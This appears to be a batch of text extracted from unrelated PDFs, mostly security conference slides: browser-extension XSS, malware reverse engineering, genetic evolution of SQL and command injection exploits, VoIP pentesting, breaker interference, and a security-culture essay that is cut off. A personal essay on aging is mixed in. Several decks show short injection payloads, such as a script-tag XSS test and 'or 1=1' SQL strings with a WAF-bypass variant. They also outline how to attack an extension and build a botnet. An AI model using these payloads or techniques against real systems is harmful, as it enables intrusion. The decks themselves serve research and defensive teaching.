 } The Frame That Framed the XSS frame.js This is our payload! Raw input to HTML <script>alert(1)</script> Inline script! Content-Security Policy • CSP on extensions by default since 2014 • Prevents common JavaScript injections: • Inline scripts • eval functions • Whitelist script sources AVG Web Tuneup extension XSS • December 2015 • 9 million installations • XSS found by Google Project Zero researcher Tavis Ormandy ATTACK PAGE window.postMessage(payload) chrome.tabs.update(tabId, url) chrome.runtime.sendMessage(payload) Chrome API Listener AVG Web Tuneup XSS - DEMO AVG Web Tuneup XSS - DEMO ATTACK PAGE chrome.tabs.update(payload) chrome.runtime.sendMessage(payload) Chrome API AVG Web Tuneup - DEMO Finally: Creating Our Botnet To Sum Up • Browser extensions make great bots • Attacker use extensions to run bot infection campaigns, using social networks • Extensions still got XSS’s, CSP is not enough • Same infection campaign are achievable through exploitation of extensions THANKS tomerc@wix.com
pdf
Michael Ligh, Malicious Code Engineer Greg Sinclair, Rapid-Response Engineer iDefense Security Intelligence Services Malware RCE: Debuggers and Decryptor Development Topics • How to script a debugger for malware RCE • Almost all malicious code uses some form of obfuscation to protect » Strings » Configurations » Command-and-Control (C&C) protocols/hosts » Stolen Data • Save time, leverage the code’s own functions » All you have to do is find it • We'll show you some examples » Kraken, Laqma, Silent Banker, DHTMLSpy, Torpig/MBR The Hiding Game Why do malicious code authors obfuscate things? » To make RCE significantly more difficult » To prevent others from reading the stolen data » To prevent others from deciphering the C&C protocol » To make building IDS/IPS and anti-virus signatures more difficult The Hiding Game Why do we de-obfuscate things? » To make RCE easier » To recover stolen data and credentials » To decipher the C&C protocol » To build IDS/IPS and anti-virus signatures Decryptor Development Methods 1. Manual RCE: Decryptor developement based on ASM » Requires the most intimacy with ASM » More code + more complexity = more time consuming 2. Assisted RCE: Pressing F5 (Hex-rays) » Requires type fix-up often 3. Scripting the debugger: Let the malware do the work » More code + more complexity = more time consuming The best method depends on the project » For example, Wireshark plugins require manual or assisted Scripting the Debugger • Generally speaking, there are three classes of scriptable analysis » Active » You control which functions execute and in which order » Redirect EIP (“New origin here”) and “crawl” through code » Example: Silent Banker encoded strings (max code coverage) » Passive » Monitor Trojan with function hooks, API or internal » Let it run through (may need !hidedebug) » Example: Kraken network traffic » Recon and utility scripting » Kind of a catch-all, hybrid class » Examples include » Scanning an arbitrary file for shell code » Checking shared DLLs for hooks » Unpacking malware or other “protected” binaries June 27, 2008 Requirements • Required » Copy of the Trojan » Debugger » Immunity Debugger + Python » Olly + OllyScript » IDA + IDC/IDAPython » Basic RCE knowledge » Unpacking, breakpoints, stepping, running, registers • Optional » Disassembler » Virtual environment Demo Summary Demo Line-up » Silent Banker » Decode binary strings » Resolve hash-based API imports » Kraken » Print decrypted network traffic » Generate C&C hostnames » Laqma » Snoop on shared memory and window messages (IPC) » Torpig/MBR » Extract decrypted data from the kernel driver [Active] Example: SilentBanker Strings Decoder • Decoding strings requires some basic RCE work » Locate obfuscated strings » Locate function xrefs to the obfuscated string » Does the function look like a decoder? » Yes - analyze parameters/output (registers and stack) » No - keep looking » The following looks like a decoder June 27, 2008 [Active] Example: SilentBanker Strings Decoder 10 DEMO [Active] Example: SilentBanker Strings Decoder [Active] Example: Silent Banker API Resolution • The effect of run-time dynamic linking » LoadLibrary/GetProcAddress instead of IAT » API calls look like “call dword ptr [eax+20h]” » Makes static analysis a PITA • SilentBanker uses hash-based RTDL » Frequently used in shell code » Binary contains 32-bit hash instead of function name » It walks a loaded library's exports » if hash(getNextExportName()) == 0x19272710 » Makes static analysis an even bigger PITA [Active] Example: Silent Banker API Resolution Quick solution to the problem » Find the base address of call table » Run the Trojan until it fills in the call table » Loop through the call table with reverse lookups » Add a structure to the IDB and rename if desired » call dword ptr [eax+20h] » call dword ptr [eax+ExitProcess] [Active] Example: Silent Banker API Resolution DEMO [Active] Example: Kraken C&C Hostname Generation Spam bot uses UDP 447 and HTTP POST for C&C » Locates C&C servers based on hostname algorithm » It is easy to find the algorithm-containing function » Analyze the function parameters » for(i=0; i<1000; i++) { getDomain(&ptr, i); ...... } [Active] Example: Kraken C&C Hostname Generation Make our own loop around the algorithm function » Direct EIP to start of function » Set breakpoint at end of function » Modify stack parameters on each iteration (relative to EBP) » Run until the end breakpoint is hit » Read the generated hostname string [Active] Example: Kraken C&C Hostname Generation DEMO [Wireshark] Example: Kraken Network Traffic Decryption Kraken cryptography model has a weakness » Keys derived from IP address, CPU details, HDD serial » Dummies! The keys are in the packet header » A Wireshark plugin can decrypt data in live or still pcaps Key Criteria Generation Methodology IP addresses API: GetAdaptersInfo CPU Vendor ID cpuid (eax = 0) CPU Info and Feature Bits cpuid (eax = 1) CPU Serial Number cpuid (eax = 3) C:\ Volume Serial Number API: GetVolumeInformation [Wireshark] Example: Kraken Network Traffic Decryption 19 [Passive] Example: Laqma IPC Snooping Two usermode components: client (DLL) and server (EXE) » Client DLL hooks API functions » PFXImportCertStore (certificates) » HttpSendRequest (login credentials) » Writes data to “Global\temp_xchg” » Sends “data waiting” message to __axelsrv » Server EXE monitors messages to __axelsrv » Maps “Global\temp_xchg” to acquire data » Dispatches attack based on data type June 27, 2008 [Passive] Example: Laqma IPC Snooping June 27, 2008 [Passive] Example: Laqma IPC Snooping Script fundamentals » Laqma calls MapViewOfFile to locate “Global\temp_xchg” and then writes data to the region » If we hook MapViewOfFile, it will occur before the write » Also don't want to hook internal write function » Laqma uses internal memcpy-like write function » The write function address may change » We can hook FlushViewOfFile instead » First parameter is a pointer to memory region » Parse the values for validity before interpreting June 27, 2008 [Passive] Example: Laqma IPC Snooping DEMO 23 [Passive] Example: Torpig/MBR Configuration Decryption • Torpig incorporates MBR rootkit » Based on eEye BootRoot • Kernel driver downloads encrypted files over HTTP » DLL that hooks API functions » Configuration file containing targeted URLs, drop sites, etc. • Decryption occurs in kernel space » The configuration is available to the DLL via \\.\pipe\!win$ » But any usermode process can query the named pipe June 27, 2008 [Passive] Example: Torpig/MBR Configuration Decryption Script fundamentals » Pipe interactions occur when DLL loads » Attach to running process will not work (too late) » We can hook CreateFile and wait for \\.\pipe\!win$ » Then activate ReadFile and WriteFile hooks » Verify that the handle belongs to the right object » Perform analysis on data sent/received June 27, 2008 [Passive] Example: Torpig/MBR Configuration Decryption DEMO 26 [Passive] Example: Torpig/MBR Configuration Decryption 27 • A stand-alone program can read the data » Use the protocol displayed in script output » Increment the reqType for each iteration Reconnaissance and Utility Scripting • Facilitate RCE with useful scripts » Importing and exporting data (IDA <-> Immdbg) » Scanning arbitrary files for shellcode » Scanning memory for API function hooks 28 [Utility] Importing and Exporting Data • Transfer data into IDA for static analysis » Save the debugger script's output to text file » Use IDAPython to import the data to the .idb » Patch decoded strings, rename call tables with API • Transfer data into Immdbg for dynamic analysis » Reverse the process above » Save named functions, comments, structure members [Utility] Importing and Exporting Data DEMO 30 [Utility] Detect Shellcode in Arbitrary Files • Is that .pdf, .doc or .jpeg malicious? » Applies to any file type » Could still be malicious without shellcode » JavaScript bytecode » PDF FlateDecode • Based on common characteristics of shellcode » Load the file into memory and scan each byte » Is it a jump or a call instruction? » Is the destination address valid? » Are the instructions at the destination address valid? 31 [Utility] Detect Shellcode in Arbitrary Files 32 [Utility] Detect Shellcode in Arbitrary Files • Result set is proportional to file size • Other methods/resources for detecting shellcode » Open suspect file in IDA and press “c” » Use a stream disassembler » diStorm64 (http://www.ragestorm.net/distorm) » Polymorphic Shellcode (Detection) by Christoph Gratl » Hybrid Engine for Polymorphic Shellcode Detection by Payer, Teufl and Lamberger » Libemu (http://libemu.mwcollect.org) 33 [Utility] Detect Hooked API Functions • Multiple methods for user mode API hooking » Trampoline hooks » IAT hooks (watch out for LoadLibrary/GetProcAddress hooks) » Modify DLL on disk • It is easy to check for trampoline hooks » For each loaded DLL » For each exported function » Is the prologue overwritten? » CALL » JMP » PUSH/RET » Yes – is the destination inside the loaded DLL? 34 [Utility] Detect Hooked API Functions • Determine the purpose of an API hook » Set breakpoints on the hooked functions » Use the target process as desired (i.e., browse to Web page) » Debug 35 [Utility] Detect Hooked API Functions DEMO 36 Potential Caveats • The project may require “manual” or “assisted” RCE » Wireshark, Glamour/Gpcoder tool • Scripting ring-zero malicious code is possible, but challenging » Patch API calls (ntoskrnl.exe:RtlTimeToTimeFields -> ntdll.dll:RtlTimeToFileFields) • Interpreted scripts can take a while to execute • Subject to anti-debugger detection » But try http://www.PEiD.info/BobSoft Additional Resources • Immunity Debugger and Forums » http://www.immunitysec.com/products-immdbg.shtml » http://forum.immunityinc.com • OpenRCE has a few scripts, too » http://www.openrce.org • We're hosting ours with Google Code » http://code.google.com/p/mhl-malware-scripts June 27, 2008 Q and A Michael Ligh Greg Sinclair iDefense Security Intelligence Services
pdf
Evolving Exploits through Genetic Algorithms By soen Who am I !  CTF Player !  Programmer !  Virus / Worm Aficionado !  Computer Scientist !  Penetration Tester in daylight Exploiting Web Applications !  Attack problems !  Driven by customer !  Small scope !  Limited time !  Report driven !  Attack methodology Exploiting Web Applications !  Attack problems !  Attack methodology !  Run as many scanning tools as possible !  Manually poke at suspicious areas until a vulnerability is found !  Write an exploit Exploiting Web Applications !  Attack problems !  Attack methodology !  Problems with this !  Manual code coverage is inherently small !  Manual inspection of suspicious areas is time-costly !  Manual exploit development takes time Existing tools for exploit discovery / development !  Nessus / nmap / blind elephant / other scanning tools don’t really count because they rely upon a signature developed for a specific vulnerability / finding. !  Acunetix !  Burp !  ZAP !  sqlmap Foundational problems with current scanning techniques !  Systemic signature problem !  Web Scanners == Anti-Virus !  Solution: Evolve unique exploits for web applications !  Web Application Firewall blocks ‘or 1=1 -- ? EVOLVE ‘ or 1=1; -- Aso1239^;’or 2=1 or 1=3 or 1=1 --asdl1ojcud// Covered in this talk !  Genetic algorithms to create exploits !  SQL injection (MySQL, SQL, MSSQL, Oracle) !  Command injection (Bash, CMD, PHP, Python) !  Attack surface is HTTP / HTTPS POST and GET parameters !  What we will not cover !  Everything else Genetic Exploit Development !  Forced Evolution !  github.com/soen-vanned/forced-evolution Evolutionary Algorithms 1.  Create a large number of exploit strings 2.  While solution/goal != found: 1.  Score all of the strings’ performance using a fitness function 2.  Cull the weak performing 3.  Breed the strong performing 4.  Mutate the strings randomly 3.  Display the exploit string that solved the solution Forced Evolution 1.  Create a large number of pseudo-random strings 2.  While exploit != successful: 1.  Send the string as parameter value (I.E. POST, GET, etc.) 2.  Use the response from the server to determine the score (string fitness) 3.  Cull the weak performing strings 4.  Breed the strong performing strings 5.  Mutate the strong performing strings 3.  Display the string that successfully exploits the app Fitness Function !  Does the exploit string cause sensitive information to be displayed? !  Does the string cause an error (and if so, what type?) !  Is the string reflected? (XSS…) !  Other information displayed? Breeding Strings !  Pairs of strings are bred using genome cross-over String A String B Child A Child B Mutated Child A Mutated Child B !  The amount of children and parents varies on implementation. !  The amount of children depends on implementation !  Parents are kept alive depending on implementation Next Iteration Mutating Strings !  Mutation rate is variable !  Mutation Operations: !  Mutate !  Add !  Remove a string item !  Pre-mutation String: ABCD !  Post-mutated String: XACF Population Dynamics !  Mutation rate vs. Search speed !  String cull rate vs. repopulation speed Tool Comparison !  Command Injection !  Statistics CMD$injec*on$ Vulnerability$ Found?$ Exploit$ Developed$ Auto$WAF$ bypass$ Time$for$AAack$ (seconds)$ Requests$ Acune*x$ Yes$ No$ No$ 20$ 1854$ Burp$ Yes$ No$ Yes$ 926$ 38297$ ZAP$ Yes$ No$ No$ 118$ 264$ SQLMAP$ N/A$ N/A$ N/A$ N/A$ Forced$ Evolu*on$ Yes$ Yes$ Yes$ 246$ 15489$ Tool Comparison !  Command Injection !  Requests sent to server: 0 5000 10000 15000 20000 25000 30000 35000 40000 45000 Acunetix Burp ZAP SQLMAP Forced Evolution Tool Comparison !  Command Injection !  Time to exploit (seconds) 0 100 200 300 400 500 600 700 800 900 1000 Acunetix Burp ZAP SQLMAP Forced Evolution Tool Comparison !  SQL Injection !  Statistics SQLi$ Vulnerability$ Found?$ Exploit$ Developed$ Auto$WAF$ bypass$ Time$for$AAack$ Requests$ Acune*x$ Yes$ Yes$ No$ 53$ 2685$ Burp$ Yes$ Yes$ Yes$ 1101$ 46516$ ZAP$ Yes$ No$ No$ 157$ 315$ SQLMAP$ Yes$ Yes$ Yes$ 15$ 166$ Forced$ Evolu*on$ Yes$ Yes$ Yes$ 17$ 5996$ Tool Comparison !  SQL Injection !  Requests sent to server 0 5000 10000 15000 20000 25000 30000 35000 40000 45000 50000 Acunetix Burp ZAP SQLMAP Forced Evolution Tool Comparison !  SQL Injection !  Time to exploit (seconds) 0 200 400 600 800 1000 1200 Acunetix Burp ZAP SQLMAP Forced Evolution Demo Pro’s and Con’s !  Con’s for genetic exploit evolution: !  Very noisy attacks !  Small potential to inadvertently destroy the database / OS !  Slow process to develop and test exploits !  Sub-optimal to source code analysis Pro’s and Con’s !  Pro’s for genetic exploit evolution !  Cheap in CPU/RAM/HD and human time !  More complete code coverage than other black-box approaches !  Exploit breeding is the future, upgrades to the current approach will improve efficiency but the code right now will break web apps in the future. !  Automatic exploit development – Exploits genetically bred to tailor to a specific web app !  Emergent exploit discovery – New exploit methodologies and techniques will emerge Conclusion !  Download Forced Evolution !  github.com/soen-vanned/forced-evolution !  Contact: soen.vanned@gmail.com /@soen_vanned / http://0xSOEN.blogspot.com References !  Fred Cohen (Computer Viruses – Theory and Experiments - 1984) !  Dr. Mark Ludwig (The little & giant black book of computer viruses, Computer Viruses, Artificial Life and Evolution) !  Herm1t’s VX Heaven(http://vxheaven.org/ ) !  Artificial Intelligence: A Modern Approach (3rd Edition, Stuart Russell & Peter Norvig)
pdf
AND OTHER FUN TRICKS Snide / Owen @LinuxBlog github.com/PhreakMe (Latest Slides & Code) Mandatory Disclaimer The opinions expressed in this presentation and on the following slides are solely those of the presenter. There is no guarantee on the accuracy or reliability of the information provided herein. All Service Marks, Trademarks, and Copyrights belong to their respective owners. This is for educational purposes only Introduction •  History / Evolution •  Anatomy •  How to test •  Issue Types •  Fun Stuff About Me Presentations Fun Moved to US in 2000. So who uses Phones? What industries? Particularly interesting are: banking/finance Healthcare Insurance Utilities Government Military. History Sorry, Wrong number DC23 Exploding The Phone (Book) 2013. History https://en.wikipedia.org/wiki/Dial-up_Internet_access History 1996 ICQ, NetMeeting, SMS (UK) 1997 AIM 1998 Yahoo Messenger 1999 MSN Messenger & Asterisk 2001 TeamSpeak & MMS 2002 Yahoo Messenger Chat 2003 Skype Released - MySpace 2004 Facebook 2005 YouTube 2007 iPhone Recent History •  Hangouts •  FB Messenger •  Signal •  Screen Sharing •  LiveStreaming •  WhatsApp •  SnapChat •  Kik •  etc etc. PBX’s Why do people run PBX’s? •  Reduce Costs •  Cheap Calling •  "Apps” •  Voicemail •  IVR’s •  Conferencing •  Directories Basic Deployment PBX SoftPhone SIP Phone ATA “Phone” Common Deployment Provider Provider Location A Location B PBX Large Deployments •  Translations •  Voice Biometrics •  2FA •  Mobile •  Forwarding •  BYOD •  Apps •  Softphones / Skype More Tech •  Call Monitoring •  Voicemail Transcribing •  Call center / Queue •  Ring Groups •  Call Backs •  Portals •  Reporting and Analytics DTMF http://www.genave.com/dtmf.htm https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling Dual Tone Multi Frequency Can be easily generated Common Protocols •  SIP •  RTP •  XMPP •  IAX Codecs •  G.711 – ITU- T •  PCM •  Alaw •  Ulaw •  G.711.0 •  G.711.1 •  g.722 •  GSM How? Step 1) Figure out what you’re testing Testing Scope Blackbox / Whitebox? Info Gathering Testing Info Gathering • OSINT • Grab Phone Numbers from Web / Directories. • Look for patterns • Port Scans • Shodan • Use the Web • Whois has information too! Externally Testing Testing Via POTS -  Regular Phone. Sit and press buttons -  Modems and AT commands -  Soft Phones -  Any of the major ones -  Ekiga, Twinkle ETC. -  Automatable / Scriptable -  SipCLI -  Sip.Js & JSSip -  MJSip -  Use a PBX My Testing Setup OrangePi 2E Decent Specs Portable Software Armbian Asterisk Scripting Utilities More on this Later! Types of Issues 2017 A1: Injection A2: Broken Authentication and Session Management A3: Cross-Site Scripting (XSS) A4: Broken Access Control A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Insufficient Attack Protection A8: Cross-Site Request Forgery (CSRF) A9: Using Components with Known Vulnerabilities A10: Under protected APIs A1: Injection Injection Points: Web, Voice, SIP, DTMF Result: XSS SQL Buffer Overflows Log Contamination A2: Broken Authentication & Session Management Mostly Authentication Lack of SSL/TLS for SIP https://wiki.asterisk.org/wiki/display/AST/Secure+Calling+Tutorial A3: Cross-site Scripting Somewhat covered by injection A4: Broken Access Control http://example.com/app/accountInfo? acct=notmyacct Given that example, this can be translated into a bad configuration. Either Extensions or AGI Script / App Related to A5 A5: Security Misconfiguration •  Pretty common •  SIP allowguest – Default = yes •  4 Digit passwords for SIP Clients •  Conferencing •  Default passwords •  Weak Passwords •  Misconfigured Dial plans & AGI’s A6: Sensitive Data Exposure • Voicemail • Conference Calls • Information not available elsewhere • Similar to the User/Password combination enumeration • Corp Directories • Full Names, E-Mails • Schedules, out of office A7: Missing Function Level Access Control •  Caller ID Spoof •  User logs in, tries username / pass, fails tries another. •  Systems like voicemail that allow userid, password separate and prompt for username again is an issue •  Potential with misconfigurations, if put back into another context. •  Reasonable Use A8: Cross-Site Request Forgery (CSRF) • Vendors • Web portals and configuration pages are often vulnerable • In from a phone sense not directly applicable A9: Components with Known Vulnerabilities A9: Components with Known Vulnerabilities A9: Components with Known Vulnerabilities A9: Components with Known Vulnerabilities A9: Components with Known Vulnerabilities A9: Components with Known Vulnerabilities http://www.cisco.com/c/en/us/products/unified-communications/ata-180-series- analog-telephone-adaptors/end_of_life_notice_c51-585199.html A9: Components with Known Vulnerabilities •  How does this apply? A10 - Underprotected APIs AGI ARI WebRTC wss:// OWASP Mapping A1: Injection 1: Security Misconfiguration A2: Broken Authentication and Session Management 2: Broken Authentication and Session Management A3: Cross-site Scripting 3: Injection A4: Broken Access Control 4: Using Components with Known Vulnerabilities A5: Security Misconfiguration 5:Broken Access Control A6: Sensitive Data Exposure 6: Insufficient Access Protection A7: Insufficient Access Protection 7: Sensitive Data Exposure A8: Cross-Site Request Forgery (CSRF) 8: XSS A9: Using Components with Known Vulnerabilities 9: Underprotected API’s A10: Under Protected API’s 10: CSRF Using Asterisk vagrant up Soft Phone Console AGI https://wiki.asterisk.org/wiki/display/AST/Asterisk+13+Command+Reference Scenario Vectors Two Vectors A. Fat Finger Squat B. Spoofed Target Vish Vector A - Fat Finger Squat Vector B – Spoofed Target Vish Spoofed CID Hello Can I help? Talk Recording Direct Vector A Demo Time Result Left with a Recording -  What does that contain? What’s that Sound? Software - DTMF Decoding Software - Online (dialabc) Hardware Decoder with ATA or line out http://dialabc.com/sound/detect/index.html Phreak Me PhreakMe (github.com/phreakme) •  Overview •  Last Years Changes •  More Changes to come Wrap Up
pdf
March 23 2004 Coming of Age The number isn’t important, friends have been saying when I talk about turning sixty. Some say, age is only a state of mind. Some say, you’re as young as you feel. Some say, age doesn’t matter. And some say, why, you look great! which unfortunately confirms that there really are three stages of life: youth, middle-age, and you look great! Well, my well-intended friends, I am here to tell you that age does matter. In some ways, it matters a LOT. When older people and younger people talk, they look at each other differently. Younger people have a shorter gaze. I was taught the meaning of a long gaze by a high school teacher, Miss McCutcheon, who gave me her long teacher’s gaze during an English class. I felt like a butterfly, pinned and wriggling. When another student asked what she was seeing, she said simply, “Some day someone is really going to love that boy.” I couldn’t handle that. I was fifteen, fat and self-conscious and confused, and I squirmed, turned red and snapped something back ... but have never forgotten what she said. At a time when love seemed beyond my reach, her insight was deeper than mine, living as I did half-blind and half- crazy in an adolescent storm of rain hail and thunder. Coming up to sixty, we see other people, especially younger ones, more often with that long look. We see who they are and who they can become if they only attend to the better angels of their natures. Sometimes there are moments during such conversations when it feels as if the years fall away and transparencies of other conversations, ones that happened years ago, meld with the one I am having now. Memories control the present moment, capturing it with a force field of longing and grief before the experience becomes transparent to its underlying dynamics, the irrevocability of my own past juxtaposed with seemingly innumerable futures for the one to whom I am speaking, branching like blossoms of forbidden opportunity. Then the regret fades, replaced by encompassing acceptance of the only life we have to live. We may not know how to say what we know in such a moment, but we do know and we know that we know. We are no longer innocent, coming to sixty. We know what evils can befall us. We know as Robert Frost said that there are finalities besides the grave. We know ourselves, sometimes too well. We remember too many people we have loved and held as they died. Somehow the degree to which we have lived with passion and gusto informs our awareness of death as well as our love of life. Two recent movies, Lost In Translation and Eternal Sunshine of the Spotless Mind, capture magnificently the poignancy of moments of love and loss, showing connections deep bone-in-the-socket solid for only a moment before the whirlwinds of our lives take us again in different directions. I love good films the way I loved good books as a child. Coming up to sixty, I accept that being a latchkey kid and losing my parents early gave me a particular destiny. William Gibson, the cyberpunk writer, notes at his web site that many writers share that kind of loss or other early childhood trauma. We find solace in the world of imagination and images, building meaning from the tools at hand. Books and films provide points of reference for sharing insights, giving us a common language. In another great film, My Dinner with Andre, Wallace Shawn and Andre Gregory say that a moment of genuine connection with another person heightens our awareness of being alone, too, and to accept that we’re alone is to accept death, because somehow when you’re alone you’re alone with death. That’s the implicit affirmation when the protagonist of Eternal Sunshine says OK. OK. to a doomed trajectory of romantic love. It is also the moment of genius at the end of Lost in Translation when the director/writer makes the final words whispered by Bill Murray in the ear of his young friend impossible to hear. It doesn’t matter what he said, and it doesn’t matter what I say either. We always fail to articulate what we nevertheless unceasingly try to say, the deepest truths we know, which can only be suggested like the moment of waking from a dream more real than the sunlight streaming through the window, when we know we will never remember the dream exactly but nevertheless have another day, another day, another day in which to pursue it. Coming to sixty does make a difference. It is clear that what we mistook for achievement is empty air, unless it made a real contribution, unless it made a difference, it is clear that mostly self-serving efforts deliver as much satisfaction as drinking from a dribble glass. Still, we are left with questions, not answers. Which were the moments of genuine self-transcendence in which I was called to be more than I thought I was and somehow fulfilled the promise? Which did I miss? What is possible in the time left, as eyesight fades but the sharper- eyed inner gaze of an ancient mariner discerns with greater clarity what matters most? If we are fortunate, the choices we make now, coming to sixty, were determined many years ago when earlier decisions built the karma of our destiny. We all fail, and we all succeed. There is nothing now but the sudden unexpected opportunity, nothing but being ready. There is nothing to hold back, no energy to save for another day. I know that I am alone with life and death. Even in moments of the deepest communion, I can feel the world turn and the spiraling universe bend away from my embrace. Moments of dizzying lucidity, seeing the anchor of the life given and the life received for what it is, counterweight or ballast, nothing amassed.
pdf
Story time! Supply Acquisition Circuit Interrupts around the house ≠  Purposes GFCI: Intends to prevent Electric Shock AFCI: Intends to prevent fires Ground Fault CI Arc Fault CI Code Requirements GFCI’s • Bathrooms/Indoor wet locations • Garages/storage areas/non habitable areas/unfinished basements • Outdoors/Compartments accessible from outside the unit/Rooftops/Pools/Hot tubs • Crawl spaces at or below grade level • Kitchen [dish washer, Refrigerator] • Laundry Areas AFCI’s • Kitchens • Family Rooms • Dining Rooms • Living Rooms • Parlors • Libraries • Dens • Bed rooms • Sun rooms • Recreation Rooms • Closets/Hallways • Laundry Areas • Or similar rooms Demos Relevance • RFI can be accidental or intentional • RFI is wireless and fingerprint free • Annoying DoS/Neighbor trolling • Public Facilities • Devices that matter Suggested Solutions • Update to newer Circuit Breaker Patents • Uninterrupted power supply alternatives (Batteries, Back up Power Generators) Acknowledgements • Larry Averitt • Michael Demeter • Rafael Jauregui • Habteab Yemane • Michael Reams • Chris Mitchell • Laplinker ♡ Thanks
pdf
Staring into the Abyss: The Dark Side of Crime Fighting, Security, and Professional Intelligence Notes and Comments WHY SECURITY SUCKS As of 2010, Frost & Sullivan estimates that there are 2.28 million information security professionals worldwide. to which an experienced security practitioner replied: “it sounds better if you make air quotes when you say information security professionals.” THE SITUATION We are all in this together. all hacking and all hackers are gray hat. a black hat hacker is a hacker. a gray hat hacker is a hacker who knows when to fudge the truth. a white hat hacker is a hacker who put the truth down somewhere and can’t remember where he left it. the world is gray. hacking is a subset of the world. therefore, hacking is gray. Those who define a paradigm do not need to worry about answers, because they determine the questions that can be asked. They know the size and shape of the picture because they create the frame. Years ago I referred to “real birds kin digital cages.” Now I would say, “real flocks of birds in digital cages.” The simulated beating wings above and below and on both sides provide an illusion of security, being part of the herd, the team, the tribe, and our own beating wings provide an illusion of the freedom of flight. But the cage slowly turns and positions us where it will. We are all assimilated. The Borg-R-Us. Margaret Mead , noted anthropologist, said it takes a full year to learn how to see what she learns in the first week in a new culture because she is assimilated so quickly and unconsciously into the culture. The frames of her perceptual lenses are immediately recontextualized by the cues, however exotic, in response to her statements. 2 In any organizational culture, we learn how to behave according to known but unwritten rules. The written rules, known only when we scan the thick book given to new hires, soon become written and unknown as they gather dust on the shelf in our cubicles. (there are four kinds of rules: known and written, unknown and written, unknown and unwritten, and known and unwritten. The known and unwritten rules one had better learn or one won’t last. These rules define team players and whistle blowers. They define us and them. They define Team America, the tribe, our side, and all of the other ways we make a less than absolute good or value seem like an absolute good or value. We do that through agreement, reinforcement, a deeply embedded fear of consequences and reprisals, legal agreements, in short, everything that makes a seriously spiritual or religious human who takes a moral code seriously = an investigative reporter, if he or she speaks = a terrorist. Penalties escalate as The Powers categorize not the behavior, which is self-similar across those categories, but the alleged intention and allegiance of the speaker, who becomes a perp. “The weakest link in the chain is frequently the definition of the problem, and the definition of the problem is often not what we think” – Matt Blaze Who are we, then, really? What is the “security space” – really? What does our self- referential narrative about the “industry” include and what does it EXCLUDE? What is the rule-base of the filter and how well does it work at the perimeter? Where have we put the truth? and what really is it? Nothing is harder to see than things we believe so deeply we don't even see them. This is true in the "security space," in which our narratives are self-referential, bounded by mutual self-interest, and characterized by a heavy dose of group-think. It is true that, “if everyone is thinking the same thing, someone isn’t thinking,” and it is also true that one is not always rewarded for original far-seeing insight. In fact, the contrary. My story: how do you change the paradigm? one way or another, you have to leave. Timothy Leary: “You never get the truth from the company memo.” Your individual identity, the boundary around it flexing and blurring, is absorbed into the corporate identity, and the more success you achieve in a particular culture, the more – when you open your mouth to speak – you articulate an instantiation of the Myth, the company line, the simple cover story many have come to believe. Think “Invasion of the Body Snatchers” when someone you think you know opens their mouth and outcomes not familiar speech but an alien ululation. That movie has been remade and remade again because it ports the truth of McCarthyism, to which it first referred, into our current context. 3 THE RESULT Analysis of deeper political and economic structures reveals behaviors and beliefs in a different light which illuminates mixed motives and the fact that legitimate and illegitimate enterprises interpenetrate one another deeply, yin-yangishly, the overworld and the underworld making up one vanilla-and-chocolate swirl of pudding, one complex system, one planetary economy and society. There is also an serious impact on security and intelligence practitioners – on psyches, relationships, lives – when work brings one constantly up against the abrasive interface of those mixed motives. Cognitive dissonance is always present and the least of our worries, unless it leads to serious emotional stress. Twelve-step programs as a model promise regeneration of our deepest being and say, “we are only as sick as our secrets.” But life in the national security state, the security space, the intelligence “community” which permeates all meaningful communities - is founded on secrecy millions of secrets, millions of classified documents, hundreds of thousands of compartmented worlds. “I am getting more and more cynical all the time and I still can’t keep up.” – Jane Wagner. What does it do to a human being to live with often-frightening secrets – frightening because they confront us with the truth of ourselves and the myth of righteousness can no longer be sustained? Here is one story ... [insert story of Washington DC dinner]. THE INTENTION BEHIND THIS PRESENTATION This analysis will hopefully make you think twice before uncritically using the buzzwords and jargon of the security profession - words like "security" itself, and "defense," and "cyberwar," and “terrorism,” and “the enemy.” By the end of this presentation, simplistic distinctions between foreign and domestic and us and them will go liquid while the complexities of information security remain, bounded by a perimeter which has cased to be a perimeter, which is more like a moebius strip suggesting that the inside and the outside are really one thing. Niels Bohr said, “if quantum mechanics hasn’t shocked you, you haven’t understood it yet.” In a similar way, anyone doing security or intelligence work who does not experience cognitive dissonance has lost touch with the points of reference for his or her humanity – and the real big picture in which we are all actors, inside the frame. One example: Security Pros May Be Ready To Crack Under Growing Pressure, Study Says 4 Faced with securing personal devices and a growing base of threats, security pros feel overwhelmed, (ISC)2 survey reports Feb 23, 2011 By Tim Wilson Darkreading Faced with an attack surface that seems to be growing at an overwhelming rate, many security professionals are beginning to wonder whether their jobs are too much for them, according to a study published last week. Conducted by Frost & Sullivan, the 2011 (ISC)2 Global Information Security Workforce Study (GISWS) says new threats stemming from mobile devices, the cloud, social networking, and insecure applications have led to "information security professionals being stretched thin, and like a series of small leaks in a dam, the current overworked workforce may be showing signs of strain." "In the modern organization, end users are dictating IT priorities by bringing technology to the enterprise rather than the other way around," said Robert Ayoub, global program director for network security at Frost & Sullivan. "Pressure to secure too much and the resulting skills gap are creating risk for organizations worldwide ... They are being asked to do too much, with little time left to enhance their skills to meet the latest security threats and business demands." As of 2010, Frost & Sullivan estimates that there are 2.28 million information security professionals worldwide. Demand for professionals is expected to increase to nearly 4.2 million by 2015, with a compound annual growth rate of 13.2 percent. Application vulnerabilities ranked as the No. 1 threat to organizations among 72 percent of respondents, while only 20 percent said they are involved in secure software development. Nearly 70 percent of respondents reported having policies and technology in place to meet the security challenges of mobile devices, yet mobile devices were still ranked second on the list of highest concerns by respondents. The study concludes that "mobile security could be the single most dangerous threat to organizations for the foreseeable future." Cloud computing illustrates a serious gap between technology implementation and the skills necessary to provide security. More than 50 percent of respondents reported having private clouds in place, while more than 70 percent reported the need for new skills to properly secure cloud-based technologies. 5 Most security pros aren't ready for social media threats. Respondents reported inconsistent policies and protection for end users visiting social media sites, and nearly 30 percent had no social media security policies whatsoever. The main drivers for the continued growth of the profession are regulatory compliance demands, greater potential for data loss via mobile devices and mobile workforce, and the potential loss of control as organizations shift data to cloud-based services, the study says. Nearly two-thirds of respondents don't expect to see any increase in budget for information security personnel and training in 2011. Salaries showed healthy growth, with three out of five respondents reported receiving a salary increase in 2010. When Nietzsche said, "Whoever battles monsters should take care not to become a monster too, For if you stare long enough into the Abyss, the Abyss stares also into you." (Nietzsche, Beyond Good and Evil, chapter 4, no. 146) he was warning us that becoming more fully aware has consequences. As a sign in Sandia National Lab's Physics Department says: "Do not look directly into the laser beam with your remaining eye." So this presentation is not one of those talks that gives you 